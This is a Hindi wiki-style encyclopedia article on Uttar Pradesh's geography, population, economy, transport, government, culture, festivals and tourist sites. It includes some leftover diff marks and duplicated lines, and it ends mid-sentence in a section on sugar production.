{{main|उत्तर प्रदेश की झीलें}}
 
उत्तर प्रदेश में झीलों का अभाव है। यहाँ की अधिकांश झीलें [[कुमाऊँ]] क्षेत्र में हैं जो कि प्रमुखतः भूगर्भीय शक्तियों के द्वारा भूमि के धरातल में परिवर्तन हो जाने के परिणामस्वरूप निर्मित हुई हैं।
 
====नहर====
 
{{main|उत्तर प्रदेश की नहरें}}
 
नहरों के वितरण एवं विस्तार क दृष्टि से उत्तर प्रदेश का अग्रणीय स्थान है। यहाँ की कुल सिंचित भूमि का लगभग 30 प्रतिशत भाग नहरों के द्वारा सिंचित होता है। यहाँ की नहरें भारत की प्राचीनतम नहरों में से एक हैं।
 
 
 
====अपवाह====
 
यह राज्य उत्तर में [[हिमालय]] और दक्षिण में विंध्य पर्वतमाला से उदगमित नदियों के द्वारा भली-भाँति अपवाहित है। [[गंगा]] एवं उसकी सहायक नदियों, [[यमुना नदी]], [[रामगंगा नदी]], [[गोमती नदी]], [[घाघरा नदी]] और [[गंडक नदी]] को हिमालय के हिम से लगातार पानी मिलता रहता है। विंध्य श्रेणी से निकलने वाली [[चंबल नदी]], [[बेतवा नदी]] और [[केन नदी]] [[यमुना नदी]] में मिलने से पहले राज्य के दक्षिण-पश्चिमी हिस्से में बहती है। विंध्य श्रेणी से ही निकलने वाली [[सोन नदी]] राज्य के दक्षिण-पूर्वी भाग में बहती है और राज्य की सीमा से बाहर [[बिहार]] में गंगा नदी से मिलती है।
 
====मृदा====
 
उत्तर प्रदेश के क्षेत्रफल का लगभग दो-तिहाई भाग गंगा तंत्र की धीमी गति से बहने वाली नदियों द्वारा लाई गई जलोढ़ मिट्टी की गहरी परत से ढंका है। अत्यधिक उपजाऊ यह जलोढ़ मिट्टी कहीं रेतीली है, तो कहीं चिकनी दोमट। राज्य के दक्षिणी भाग की मिट्टी सामान्यतया मिश्रित [[लाल रंग|लाल]] और [[काला रंग|काली]] या लाल से लेकर [[पीला रंग|पीली]] है। राज्य के पश्चिमोत्तर क्षेत्र में मृदा कंकरीली से लेकर उर्वर दोमट तक है, जो महीन रेत और ह्यूमस मिश्रित है, जिसके कारण कुछ क्षेत्रों में घने जंगल हैं।
 
[[चित्र:Tajmahal-1.jpg|thumb|300px|left|[[ताजमहल]], [[आगरा]]<br /> Tajmahal, Agra]]
 
====जलवायु====
 
उत्तर प्रदेश की जलवायु उष्णकटिबंधीय मानसूनी है। राज्य में औसत तापमान जनवरी में 12.50 से 17.50 से. रहता है, जबकि मई-जून में यह 27.50 से 32.50 से. के बीच रहता है। पूर्व से (1,000 मिमी से 2,000 मिमी) पश्चिम (610 मिमी से 1,000 मिमी) की ओर वर्षा कम होती जाती है। राज्य में लगभग 90 प्रतिशत वर्षा दक्षिण-पश्चिम मानसून के दौरान होती है, जो जून से सितम्बर तक होती है। वर्षा के इन चार महीनों में होने के कारण बाढ़ एक आवर्ती समस्या है, जिससे ख़ासकर राज्य के पूर्वी हिस्से में फ़सल, जनजीवन व सम्पत्ति को भारी नुक़सान पहुँचता है। मानसून की लगातार विफलता के परिणामस्वरूप सूखा पड़ता है व फ़सल का नुक़सान होता है।
 
====वनस्पति एवं प्राणी जीवन====
 
राज्य में वन मुख्यत: दक्षिणी उच्चभूमि पर केन्द्रित हैं, जो ज़्यादातर झाड़ीदार हैं। विविध स्थलाकृति एवं जलवायु के कारण इस क्षेत्र का प्राणी जीवन समृद्ध है। इस क्षेत्र में शेर, [[तेंदुआ]], [[हाथी]], जंगली सूअर, घड़ियाल के साथ-साथ [[कबूतर]], फ़ाख्ता, जंगली [[बत्तख़]], तीतर, [[मोर]], कठफोड़वा, नीलकंठ और बटेर पाए जाते हैं। कई प्रजातियाँ, जैसे-गंगा के मैदान से सिंह और तराई क्षेत्र से गैंडे अब विलुप्त हो चुके हैं। वन्य जीवन के संरक्षण के लिए सरकार ने 'चन्द्रप्रभा वन्यजीव अभयारण्य' और 'दुधवा अभयारण्य' सहित कई अभयारण्य स्थापित किए हैं।
 
 
 
==जनजीवन==
 
'''इससे एक अलग राज्य के गठन होने के बावजूद''' उत्तर प्रदेश अभी भी जनसंख्या के मामले में सभी राज्यों और केन्द्रशासित प्रदेशों से काफ़ी आगे है। 2001 की जनगणना के अनुसार, राज्य की जनसंख्या 25.80 प्रतिशत बढ़ी। जनसंख्या का लौकिक अनुपात (प्रति 1000 पुरुष पर महिलाओं की संख्या) 898 दर्ज किया गया है, जो 1991 के 876 के मुक़ाबले बेहतर है। गंगा का मैदान, जहाँ जनसंख्या का घनत्व सबसे अधिक है, राज्य की 80 प्रतिशत से भी अधिक जनसंख्या का भरण-पोषण करता है। इसकी तुलना में हिमालय क्षेत्र व दक्षिणी उच्चभूमि में जनसंख्या का घनत्व बहुत कम है।
 
 
 
==जातीय एवं भाषाई संघटन==
 
'''राज्य की अधिकांश जनसंख्या''' [[आर्य]]-[[द्रविड़]] जातीय समूह से सम्बद्ध है। यहाँ की जनसंख्या का लगभग 80 प्रतिशत हिस्सा [[हिन्दू]], लगभग 20 प्रतिशत [[मुसलमान]] व एक प्रतिशत से भी कम अन्य धार्मिक समुदायों, [[सिक्ख]], [[बौद्ध]], [[ईसाई धर्म|ईसाई]] व [[जैन]] मतावलम्बियों का है। [[हिन्दी]] (राज्य की राजकीय भाषा) 85 प्रतिशत व [[उर्दू]] 15 प्रतिशत लोगों की मातृभाषा है। लोगों द्वारा बोले जाने वाली हिन्दुस्तानी भाषा में दोनों ही भाषाओं के सामान्य शब्द हैं, जिसे राज्य भर में समझा जाता है।
 
==आवासीन रचना==
 
[[चित्र:Ganga-Varanasi.jpg|thumb|250px|[[वाराणसी]] में [[गंगा नदी]] के घाट <br /> Ganga River, Varanasi]] [[कानपुर]]
 
'''राज्य की 80 प्रतिशत से अधिक जनसंख्या''' ग्रामीण क्षेत्रों में रहती है। ग्रामीण आवासों की विशेषताएँ हैं-राज्य के पश्चिमी हिस्से में पाए जाने वाले घने बसे हुए गाँव, पूर्वी क्षेत्र में पाए जाने वाले छोटे गाँव और मध्य क्षेत्र में दोनों का समूह होता है, जिसकी छत फूस या मिट्टी के खपड़ों से बनी होती है। इन मकानों में हालांकि आधुनिक जीवन की बहुत कम सुविधाएँ हैं, लेकिन शहरों के पास बसे कुछ गाँवों में आधुनिकीकरण की प्रक्रिया स्पष्ट तौर पर दिखाई देती है। सीमेंट से बने घर, पक्की सड़कें, बिजली, रेडियो, टेलीविजन जैसी उपभोक्ता वस्तुएँ पारम्परिक ग्रामीण जीवन को बदल रही हैं। शहरी जनसंख्या का आधे से अधिक हिस्सा एक लाख से अधिक जनसंख्या वाले शहरों में रहता है। [[लखनऊ]], [[वाराणसी]] (बनारस), [[आगरा]] और [[इलाहाबाद]] उत्तर प्रदेश के पाँच सबसे बड़े नगर हैं। कानपुर उत्तर प्रदेश के मध्य क्षेत्र में स्थित प्रमुख औद्योगिक शहर है। कानपुर के पूर्वोत्तर में 48 किमी. की दूरी पर राज्य की राजधानी लखनऊ स्थित है। हिन्दुओं का सर्वाधिक पवित्र शहर वाराणसी विश्व के प्राचीनतम सतत आवासीय शहरों में से एक है। एक अन्य पवित्र शहर [[इलाहाबाद]] गंगा, यमुना और पौराणिक [[सरस्वती नदी]] के संगम पर स्थित है। राज्य के दक्षिण-पश्चिमी हिस्से में स्थित आगरा में [[मुग़ल]] बादशाह [[शाहजहाँ]] द्वारा अपनी बेगम की याद में बनवाया गया मक़बरा [[ताजमहल]] स्थित है। यह [[भारत]] के प्रसिद्ध पर्यटन स्थलों में से एक है।
 
 
 
==अर्थव्यवस्था==
 
उत्तर प्रदेश की अर्थव्यवस्था के निम्न साधन हैं-
 
====संसाधन====
 
आर्थिक तौर पर उत्तर प्रदेश देश के अत्यधिक अल्पविकसित राज्यों में से एक है। यह मुख्यत: [[कृषि]] प्रधान राज्य है और यहाँ की तीन-चौथाई (75 प्रतिशत) से अधिक जनसंख्या कृषि कार्यों में लगी हुई है। राज्य में औद्योगिकीकरण के लिए महत्त्वपूर्ण खनिज एवं ऊर्जा संसाधनों की कमी है। यहाँ पर केवल सिलिका, चूना पत्थर व कोयले जैसे खनिज पदार्थ ही उल्लेखनीय मात्रा में पाए जाते हैं। इसके अलावा यहाँ जिप्सम, मैग्नेटाइट, फ़ॉस्फ़ोराइट और बॉक्साइट के अल्प भण्डार भी पाए जाते हैं।
 
====कृषि एवं वानिकी====
 
[[चित्र:Sarnath-Temple.jpg|thumb|250px|मूलगंध कुटी विहार, [[सारनाथ]]]]
 
राज्य की अर्थव्यवस्था का मुख्य आधार कृषि है। [[चावल]], [[गेहूँ]], [[ज्वार]], [[बाजरा]], [[जौ]] और [[गन्ना]] राज्य की मुख्य फ़सलें हैं। 1960 के दशक से गेहूँ व चावल की उच्च पैदावार वाले बीजों के प्रयोग, उर्वरकों की अधिक उपलब्धता और सिंचाई के अधिक इस्तेमाल से उत्तर प्रदेश खाद्यान्न का सबसे बड़ा उत्पादक राज्य बन गया है। यद्यपि किसान दो प्रमुख समस्याओं से ग्रस्त हैं: आर्थिक रूप से अलाभकारी छोटे खेत और बेहतर उत्पादन के लिए प्रौद्योगिकी में निवेश करने के लिए अपर्याप्त संसाधन, राज्य की अधिकतम कृषि भूमि किसानों को मुश्किल से ही भरण-पोषण कर पाती है। पशुधन व डेयरी उद्योग आय के अतिरिक्त स्रोत हैं। उत्तर प्रदेश में भारत के किसी भी शहर के मुक़ाबले सर्वाधिक पशु पाए जाते हैं। हालांकि प्रति [[गाय]] [[दूध]] का उत्पादन कम है।
 
 
 
====उद्योग====
 
राज्य में काफ़ी समय से मौजूद वस्त्र उद्योग व चीनी प्रसंस्करण उद्योग में राज्य के कुल मिलकर्मियों का लगभग एक-तिहाई हिस्सा लगा है। राज्य की अधिकांश मिलें पुरानी व अक्षम हैं। अन्य संसाधन आधारित उद्योगों में वनस्पति तेल, जूट व सीमेंट उद्योग शामिल हैं। केन्द्र सरकार ने यहाँ पर भारी उपकरण, मशीनें, इस्पात, वायुयान, टेलीफ़ोन, इलेक्ट्रॉनिक उपकरण और उर्वरकों के उत्पादन वाले बहुत से बड़े कारख़ाने स्थापित किए हैं। यहाँ [[मथुरा]] में एक तेल परिष्करणशाला और राज्य के दक्षिण-पूर्वी [[मिर्ज़ापुर]] ज़िले में कोयला क्षेत्र का विकास केन्द्र सरकार की दो प्रमुख परियोजनाएँ हैं। राज्य सरकार ने मध्यम और लघु स्तर के उद्योगों को प्रोत्साहन दिया है।
 
 
 
हस्तशिल्प, क़ालीन, पीतल की वस्तुएँ, जूते-चप्पल, चमड़े व खेल का सामान राज्य के निर्यात में प्रमुखता के साथ योगदान देते हैं। भदोई व मिर्ज़ापुर के क़ालीन दुनिया भर में सराहे जाते हैं। [[वाराणसी]] का रेशम व ज़री का काम, [[मुरादाबाद]] की पीतल की ख़ूबसूरत वस्तुएँ, [[लखनऊ]] की [[चिकनकारी]], नागुआ का आबनूस की लकड़ी का काम, [[फ़िरोज़ाबाद]] की काँच की वस्तुएँ और [[सहारनपुर]] का नक़क़ाशीदार लकड़ी का काम भी उल्लेखनीय है। सार्वजनिक क्षेत्र के वाणिज्यिक बैंकों की संख्या उत्तर प्रदेश में ही सबसे अधिक है। देश के विकास में इस प्रदेश का बहुत ही महत्त्वपूर्ण योगदान है। [[चित्र:Krishna Birth Place Mathura-13.jpg|thumb|250px|left|[[कृष्ण जन्मभूमि]], [[मथुरा]]<br /> Shri Krishna's Janm Bhumi, Mathura]] वर्तमान समय में उत्तर प्रदेश बिजली की भीषण कमी का शिकार है। 1951 से स्थापित अन्य विद्युत उत्पादन केन्द्रों से क्षमता बढ़ी है, लेकिन माँग और आपूर्ति के बीच अन्तर बढ़ता ही जा रहा है। भारत के अधिकतम तापविद्युत केन्द्रों में से एक ओबरा-रिहंद (दक्षिण-पूर्वी उत्तर प्रदेश), राज्य के कई अन्य हिस्सों में स्थित विभिन्न पनबिजली संयंत्रों और बुलंदशहर के [[परमाणु]] बिजलीघर में बिजली का उत्पादन किया जाता है।
 
 
 
वर्ष 2004-05 में उत्तर प्रदेश में कुल 5,21,835 लघु उद्योग इकाइयाँ थीं, जिनमें लगभग 5,131 करोड़ रुपये की पूंजी का निवेश था और लगभग 20,01,000  लोग काम कर रहे थे। वर्ष 2004-05 में राज्य में लगभग 45.51 लाख टन चीनी का उत्पादन हुआ। उत्तर प्रदेश राज्य में 68 कपड़ा मिलें और 32 आटोमोबाइल के कारखाने हैं, जिनमें 5,740 करोड़ रुपये की पूंजी का निवेश है। सन् [[2011]] तक 'नोएडा प्राधिकरण' के अंतर्गत 102 सेक्टर विकसित करने की योजना चल रही है। इस प्राधिकरण में औद्योगिक क्षेत्र, आवासीय क्षेत्र, ग्रुप हाउसिंग क्षेत्र, आवासीय भवन, व्यावसायिक परिसंपत्तियां और संस्थागत शिक्षा क्षेत्र शामिल हैं। नोएडा और ग्रेटर नोएडा की भांति ही राज्य में अन्य स्थानों पर औद्योगिक क्षेत्रों को विकसित करने के लिए कार्य किये जा रहे हैं।
 
 
 
==सिंचाई और बिजली==
 
*[[14 जनवरी]], 2000 को 'उत्तर प्रदेश राज्य बिजली बोर्ड' का पुनर्गठन करके 'उत्तर प्रदेश विद्युत निगम', 'उत्तर प्रदेश राज्य विद्युत उत्पादन' तथा 'उत्तर प्रदेश पनबिजली निगम' को स्थापित किया गया है।
 
*2004 - 05 में राज्य की सिंचाई क्षमता बढ़ाकर 319.17 लाख हेक्टेयरतक करने के लिए 98,715 करोड़ रुपये का निवेश किया गया है।
 
*'उत्तर प्रदेश राज्य बिजली बोर्ड' की स्थापना के समय पन बिजलीघरों और ताप बिजलीघरों की कुल विद्युत उत्पादन क्षमता 2,635 मेगावाट थी जो आज बढ़कर 4,621 मेगावाट तक हो गई है।
 
==यातायात और परिवहन==
 
'''राज्य के प्रमुख शहर व नगर''' सड़कों व रेल सम्पर्क से जुड़े हैं, फिर भी आमतौर पर सड़कों की स्थिति ख़राब है और रेल की पटरियों की भिन्न लाइनों (बड़ी और छोटी) के बीच सामंजस्य न होने के कारण रेल प्रणाली भी प्रभावित हुई है। [[लखनऊ]] उत्तरी नेटवर्क का मुख्य जंक्शन है। उत्तर प्रदेश के मुख्य नगर वायुमार्ग द्वारा [[दिल्ली]] व भारत के अन्य शहरों से जुड़े हुए हैं। राज्य के भीतर के परिवहन तंत्र में गंगा, यमुना और घाघरा नदियों की अंतर्देशीय जल परिवहन व्यवस्था भी शामिल है। [[चित्र:Uttar-Pradesh-Map-1.jpg|thumb|250px|उत्तर प्रदेश का मानचित्र<br /> Map Of Uttar Pradesh]]
 
====सड़कें====
 
उत्तर प्रदेश के लोक निर्माण विभाग द्वारा निर्मित सड़कों की कुल लंबाई 1,18,946 किलोमीटर है। इसमें 3,869 किलोमीटर राष्ट्रीय राजमार्ग, 9,097 किलोमीटर प्रांतीय राजमार्ग, 1,05,980 किलोमीटर अन्य ज़िला सड़कें और 72,931 किलोमीटर ग्रामीण सड़कें हैं।
 
====रेलवे मार्ग====
 
रेलवे का उत्तरी नेटवर्क का मुख्य जंक्शन राजधानी [[लखनऊ]] है। अन्य महत्त्वपूर्ण रेल जंक्शन- [[आगरा]], [[कानपुर]], [[इलाहाबाद]], मुग़लसराय, [[झाँसी]], [[मुरादाबाद]], [[वाराणसी]], टूंडला, [[गोरखपुर]], गोंडा, फ़ैज़ाबाद, [[बरेली]] और सीतापुर हैं।
 
====उड्डयन विभाग====
 
प्रदेश में लखनऊ, कानपुर, वाराणसी, इलाहाबाद, आगरा, झांसी, बरेली, [[ग़ाज़ियाबाद]], गोरखपुर, [[सहारनपुर]] और रायबरेली में हवाई अड्डे हैं।
 
 
 
==प्रशासन एवं समाज==
 
उत्तर प्रदेश के प्रशासन एवं समाज की निम्नलिखित विशेषताएँ हैं-
 
[[चित्र:Kagyu-Tibetan-Monastery.jpg|thumb|250px|left|कग्यू तिब्बती मठ, [[सारनाथ]]]]
 
====सरकार====
 
उत्तर प्रदेश में सरकार का संसदीय स्वरूप है, जिसमें कार्यपालिका, विधायिका और [[न्यायपालिका]] शामिल है। कार्यपालिका में [[राज्यपाल]] होता है, जिसकी सहायता एवं सलाह के लिए [[मुख्यमंत्री]] के नेतृत्व में एक मंत्रिमण्डल होता है। विधायिका द्विसदनीय है: एक स्थायी निकाय विधान परिषद, जिसके एक-तिहाई सदस्य हर दो साल में सेवानिवृत्त होते हैं। [[विधान सभा]], जिसके सदस्य पाँच वर्ष के लिए चुने जाते हैं। न्यायपालिका में [[उच्च न्यायालय]] शामिल है, जिसका प्रमुख मुख्य न्यायाधीश होता है। राज्य का उच्च न्यायालय इलाहाबाद में है, राजधानी लखनऊ में भी इसकी एक पीठ है। राज्य स्तर के नीचे स्थानीय प्रशासन के लिए 70 ज़िले हैं।
 
====शिक्षा====
 
राज्य में 16 विश्वविद्यालय, 400 से अधिक सम्बद्ध महाविद्यालय, कई चिकित्सा महाविद्यालय और विशिष्ट अध्ययनों व शोध के लिए कई संस्थान हैं। 1950 के दशक के बाद से राज्य में विद्यालयों व सभी स्तरों पर विद्यार्थियों की संख्या बढ़ने के बावजूद राज्य की जनसंख्या का 75.36 प्रतिशत हिस्सा ही साक्षर है। प्राथमिक स्तर पर शिक्षा का माध्यम [[हिन्दी]] (कुछ निजी विद्यालयों में माध्यम अंग्रेज़ी) है, उच्चतर विद्यालय के विद्यार्थी हिन्दी व अंग्रेज़ी में पढ़ाई करते हैं। जबकि विश्वविद्यालय स्तर पर आमतौर पर शिक्षा का माध्यम अंग्रेज़ी है। 1991 के 40.71 प्रतिशत के मुक़ाबले 2001 में राज्य की कुल साक्षरता दर बढ़कर 57.36 प्रतिशत हो गई है।
 
[[चित्र:Banaras-Hindu-University.jpg|thumb|250px|[[काशी हिन्दू विश्वविद्यालय]]]]
 
राज्य में एक इंडियन इंस्टिट्यूट ऑफ़ टेक्नोलॉजी (कानपुर), एक इंडियन इंस्टिट्यूट ऑफ़ मैनेजमेंट (लखनऊ), एक इंडियन इंस्टिट्यूट ऑफ़ इन्फ़ॉर्मेशन टेक्नोलॉजी और काफ़ी संख्या में पॉलीटेक्निक, इंजीनियरिंग व औद्योगिक प्रशिक्षण संस्थान हैं।
 
====स्वास्थ्य एवं जन कल्याण====
 
राज्य में स्वास्थ्य सेवाएँ विभिन्न सरकारी अस्पतालों व चिकित्सालयों, निजी एलोपैथिक, होम्योपैथिक, आयुर्वेदिक और यूनानी चिकित्सों के द्वारा उपलब्ध करवाई जाती है। कुछ प्रमुख अस्पतालों को छोड़कर राज्य के अस्पतालों व चिकित्सालयों में प्रदान की जा रही स्वास्थ्य सेवाओं का स्तर आमतौर पर ख़राब है। राज्य की जनसंख्या का एक बड़ा अनुपात अनुसूचित जाति व जनजाति का है। आज़ादी के बाद बहुत से केन्द्रीय व राज्य स्तर के कल्याणकारी कार्यक्रमों ने शिक्षा, रोज़गार और राजनीतिक प्रतिनिधित्व में इन लोगों को बेहतर अवसर प्रदान किए हैं।
 
 
 
 
==सांस्कृतिक जीवन==
 
==सांस्कृतिक जीवन==
'''उत्तर प्रदेश हिन्दुओं की प्राचीन सभ्यता का उदगम स्थल है'''। वैदिक साहित्य महाकाव्य [[रामायण]] और [[महाभारत]] (जिसमें [[श्रीमद्भागवदगीता]] शामिल है) के उल्लेखनीय हिस्सों का मूल यहाँ के कई आश्रमों में है। [[बौद्ध]]-[[हिन्दू]] काल (लगभग 600 ई. पू.-1200 ई.) के ग्रन्थों व वास्तुशिल्प ने भारतीय सांस्कृतिक विरासत में बड़ा योगदान दिया है। 1947 के बाद से भारत सरकार का चिह्न मौर्य सम्राट [[अशोक]] के द्वारा बनवाए गए चार सिंह युक्त स्तम्भ ([[वाराणसी]] के निकट [[सारनाथ]] में स्थित) पर आधारित है।
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{{Main|उत्तर प्रदेश की संस्कृति}}
[[चित्र:Ganga-River-Aarti.jpg|thumb|250px|left|आरती, [[गंगा नदी]], [[इलाहाबाद]]<br /> Aarti, Ganga River, Allahabad]]
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उत्तर प्रदेश हिन्दुओं की प्राचीन सभ्यता का उदगम स्थल है। वैदिक साहित्य महाकाव्य [[रामायण]] और [[महाभारत]] (जिसमें [[श्रीमद्भागवदगीता]] शामिल है) के उल्लेखनीय हिस्सों का मूल यहाँ के कई आश्रमों में है। [[बौद्ध]]-[[हिन्दू]] काल (लगभग 600 ई. पू.-1200 ई.) के ग्रन्थों व वास्तुशिल्प ने भारतीय सांस्कृतिक विरासत में बड़ा योगदान दिया है। 1947 के बाद से भारत सरकार का चिह्न मौर्य सम्राट [[अशोक]] के द्वारा बनवाए गए चार सिंह युक्त स्तम्भ ([[वाराणसी]] के निकट [[सारनाथ]] में स्थित) पर आधारित है।
वास्तुशिल्प, चित्रकारी, [[संगीत]], [[नृत्यकला]] और दो भाषाएँ ([[हिन्दी]] व [[उर्दू]]) [[मुग़ल]] काल के दौरान यहाँ पर फली-फूली। इस काल के चित्रों में सामान्यतया धार्मिक व ऐतिहासिक ग्रन्थों का चित्रण है। यद्यपि [[साहित्य]] व संगीत का उल्लेख प्राचीन [[संस्कृत]] ग्रन्थों में किया गया है और माना जाता है कि [[गुप्त काल]] (लगभग 320-540) में संगीत समृद्ध हुआ। संगीत परम्परा का अधिकांश हिस्सा इस काल के दौरान उत्तर प्रदेश में विकसित हुआ। [[तानसेन]] व [[बैजू बावरा]] जैसे [[संगीतज्ञ]]  मुग़ल शहंशाह [[अकबर]] के दरबार में थे, जो राज्य व समूचे देश में आज भी विख्यात हैं। भारतीय संगीत के दो सर्वाधिक प्रसिद्ध वाद्य, [[सितार]] (वीणा परिवार का तंतु वाद्य) और [[तबला|तबले]] का विकास इसी काल के दौरान इस क्षेत्र में हुआ। 18वीं शताब्दी में उत्तर प्रदेश में [[वृन्दावन]] व [[मथुरा]] के मन्दिरों में भक्तिपूर्ण नृत्य के तौर पर विकसित शास्त्रीय नृत्य शैली कथक उत्तरी भारत की शास्त्रीय नृत्य शैलियों में सर्वाधिक प्रसिद्ध है। इसके अलावा ग्रामीण क्षेत्रों के स्थानीय गीत व नृत्य भी हैं। सबसे प्रसिद्ध लोकगीत मौसमों पर आधारित हैं।
 
 
 
==हिन्दी भाषा का जन्मस्थल==
 
'''उत्तर प्रदेश भारत की राजकीय भाषा हिन्दी''' की जन्मस्थली है। शताब्दियों के दौरान हिन्दी के कई स्थानीय स्वरूप विकसित हुए हैं। साहित्यिक हिन्दी ने 19वीं शताब्दी तक खड़ी बोली का वर्तमान स्वरूप (हिन्दुस्तानी) धारण नहीं किया था। वाराणसी के [[भारतेन्दु हरिश्चन्द्र]] (1850-1885 ई.) उन अग्रणी लेखकों में से थे, जिन्होंने हिन्दी के इस स्वरूप का इस्तेमाल साहित्यिक माध्यम के तौर पर किया था।
 
==सांस्कृतिक संस्थान==
 
[[चित्र:Holi Barsana Mathura 1.jpg|thumb|250px| [[होली|लट्ठामार होली]], [[बरसाना]]]]
 
'''उत्तर प्रदेश के कला संग्रहालयों में''' [[लखनऊ]] स्थित राज्य संग्रहालय, मथुरा स्थित पुरातात्विक संग्रहालय, बौद्ध पुरातात्विक संग्रहालय, सारनाथ संग्रहालय प्रमुख हैं। लखनऊ स्थित [[कला]] एवं हिन्दुस्तानी संगीत के महाविद्यालय और इलाहाबाद स्थित प्रयाग संगीत समिति ने देश में कला व शास्त्रीय संगीत के विकास में बहुत योगदान दिया है। नागरी प्रचारिणी सभा, हिन्दी साहित्य सम्मेलन और हिन्दुस्तानी अकादमी [[हिन्दी साहित्य]] के विकास में सहायक रही हैं। हाल ही में उर्दू साहित्य के संरक्षण व समृद्धि के लिए राज्य सरकार ने उर्दू अकादमी की स्थापना की है।
 
 
 
==त्योहार==
 
समय समय पर सभी धर्मों के त्योहार मनाये जाते हैं-
 
*इलाहाबाद में प्रत्येक बारहवें वर्ष में कुंभ का मेला आयोजित किया जाता है जो कि संभवत: दुनिया का सबसे बड़ा मेला है।
 
*इसके अतिरिक्त इलाहाबाद में प्रत्येक 6 साल बाद अर्द्ध कुंभ मेले का आयोजन किया जाता है।
 
[[चित्र:Kumbh mela.jpg|thumb|250px|left|[[इलाहाबाद]] में [[कुम्भ मेला]]<br /> Kumbh Mela, Allahabad]]
 
*इलाहाबाद में ही प्रत्येक वर्ष जनवरी माह में [[माघ मेला]] भी आयोजित किया जाता है, जहां बडी संख्या में लोग [[संगम इलाहाबाद|संगम]] में नहाते हैं।
 
*अन्य मेलों में [[मथुरा]], [[वृन्दावन]] व [[अयोध्या]] में अनेक पर्वों के मेले और झूला मेले लगते हैं, जिनमें प्रभु की प्रतिमाओं को सोने एवं चांदी के झूलों में रखकर झुलाया जाता है। ये झूला मेले लगभग एक पखवाडे तक चलते हैं। 
 
*कार्तिक पूर्णिमा के अवसर पर [[गंगा नदी]] में डुबकी लगाना अत्यंत आस्था से परिपूर्ण है और बहुत ही पवित्र माना जाता है और इसके लिए [[गढ़मुक्तेश्वर]], [[सोरों]], [[राजघाट]], काकोरा, बिठूर, कानपुर, इलाहाबाद, वाराणसी, और अयोध्या में बडी संख्या में लोग एकत्रित होते हैं।
 
*आगरा ज़िले के [[बटेश्वर उत्तर प्रदेश|बटेश्वर]] कस्बे में पशुओं का प्रसिद्ध मेला लगता है।
 
*[[बाराबंकी]] ज़िले का [[देवा मेला]] मुस्लिम संत वारिस अली शाह के कारण काफ़ी प्रसिद्ध है।
 
*इसके अतिरिक्त यहाँ हिन्दू तथा मुस्लिमों के सभी प्रमुख त्योहारों को पूरे राज्य में हर्षोल्लास के साथ मनाया जाता है।
 
 
 
 
==पर्यटन स्थल==
 
==पर्यटन स्थल==
[[File:Buland-Darwaja-Fatehpur-Sikri-Agra.jpg|thumb|300px|[[बुलंद दरवाज़ा]], [[फ़तेहपुर सीकरी]], [[आगरा]]<br /> Buland Darwaja, Fatehpur Sikri, Agra]]
+
{{Main|उत्तर प्रदेश पर्यटन}}
 
उत्तर प्रदेश में सभी के लिए आकर्षण की कई चीज़ें हैं।  
 
उत्तर प्रदेश में सभी के लिए आकर्षण की कई चीज़ें हैं।  
*[[ताजमहल]], [[आगरा]],
+
*[[ताजमहल]], [[आगरा]]
*प्राचीन तीर्थ स्थानों में [[वाराणसी]], विंध्याचल, [[अयोध्या]], [[चित्रकूट]], [[प्रयाग]], [[नैमिषारण्य]], [[मथुरा]], [[वृन्दावन]], [[देवा शरीफ]] आदि है।
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*प्राचीन तीर्थ स्थानों में [[वाराणसी]], [[विंध्याचल]], [[अयोध्या]], [[चित्रकूट]], [[प्रयाग]], [[नैमिषारण्य]], [[मथुरा]], [[वृन्दावन]], देव शरीफ आदि है।
*[[फ़तेहपुर सीकरी]] में [[सलीम चिश्ती|शेख़ सलीम चिश्ती]] की दरगाह,
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*[[फ़तेहपुर सीकरी]] में [[सलीम चिश्ती|शेख़ सलीम चिश्ती]] की दरगाह।
*[[सारनाथ]], [[श्रावस्ती]], [[कुशीनगर]], संकिसा / बसंतपुर (ज़िला एटा, उत्तर प्रदेश), कांपिल/ वर्तमान फ़र्रूख़ाबाद, [[पिपरावा]] और [[कौशांबी]] प्रमुख हैं।  
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*[[सारनाथ]], [[श्रावस्ती]], [[कुशीनगर]], [[संकिसा]], [[कांपिल्य]], वर्तमान फ़र्रूख़ाबाद, [[पिपरावा]] और [[कौशांबी]] प्रमुख हैं।  
*आगरा, अयोध्या, सारनाथ, वाराणसी, लखनऊ, झांसी, गोरखपुर, [[जौनपुर]], कन्नौज, [[महोबा उत्तर प्रदेश|महोबा]] , देवगढ, बिठूर और विंध्याचल हिन्दू एवं मुस्लिम वास्तुशिल्प और संस्कृति के महत्त्वपूर्ण खजाने से भरा हैं।
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*[[आगरा]], [[अयोध्या]], [[सारनाथ]], [[वाराणसी]], [[लखनऊ]], [[झांसी]], [[गोरखपुर]], [[जौनपुर]], [[कन्नौज]], [[महोबा उत्तर प्रदेश|महोबा]], देवगढ, बिठूर और विंध्याचल, हिन्दू एवं मुस्लिम, वास्तुशिल्प और संस्कृति के महत्त्वपूर्ण खजाने से भरा हैं।  
 
*उत्तर प्रदेश के गोंडा ज़िले में [[मत्स्येंद्रनाथ (पाटन)]] नामक प्रसिद्ध देवीपीठ है।
 
*उत्तर प्रदेश के गोंडा ज़िले में [[मत्स्येंद्रनाथ (पाटन)]] नामक प्रसिद्ध देवीपीठ है।
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==चीनी उत्पादन==
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उत्तर प्रदेश में चीनी का उत्पादन वर्ष [[2020]] में 122.28 लाख टन रहा, जो अब तक का सबसे उंचा स्तर था। इससे पहले उत्तर प्रदेश में [[2017]]-[[2018]] के दौरान चीनी का उत्पादन 120.45 लाख टन हुआ था।
  
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अब चीनी उत्पादन में कमी आई है। यूपी शुगर मिल्स एसोसिएशन (यूपीएसएमए) के अनुसार- 'चीनी मिलों ने अब तक तक 611 लाख टन गन्ने की पेराई करके 63 लाख टन चीनी का उत्पादन किया है। औसत रिकवरी घटने से उत्तर प्रदेश में इस सीजन में चीनी उत्पादन घटने की संभावना जताई जा रही है। यूपीएसएमए के एक बयान के अनुसार, चीनी मौसम [[2020]]-[[2021]] की शुरुआत [[अक्टूबर]] के अंत में हुई और कॉर्पोरेट, सहकारी और राज्य चीनी निगम सहित 120 चीनी मिलों ने पेराई शुरू कर दी। [[नवंबर]] मध्य तक लगभग सभी चीनी मिलों ने [[गन्ना]] पेराई शुरू कर दी और [[12 फ़रवरी]] तक चीनी का उत्पादन 611 लाख टन गन्ने की पेराई करके 63 लाख टन चीनी उत्पादन हासिल किया गया। पिछले वर्ष इसी अवधि में 584 लाख टन गन्ने की पेराई हुई थी और 64 लाख टन चीनी का उत्पादन हुआ था। जबकि पिछले सीजन की इसी अवधि में 10.96 प्रतिशत की तुलना में चालू सीजन के लिए 10.29 प्रतिशत की औसत रिकवरी दर्ज की 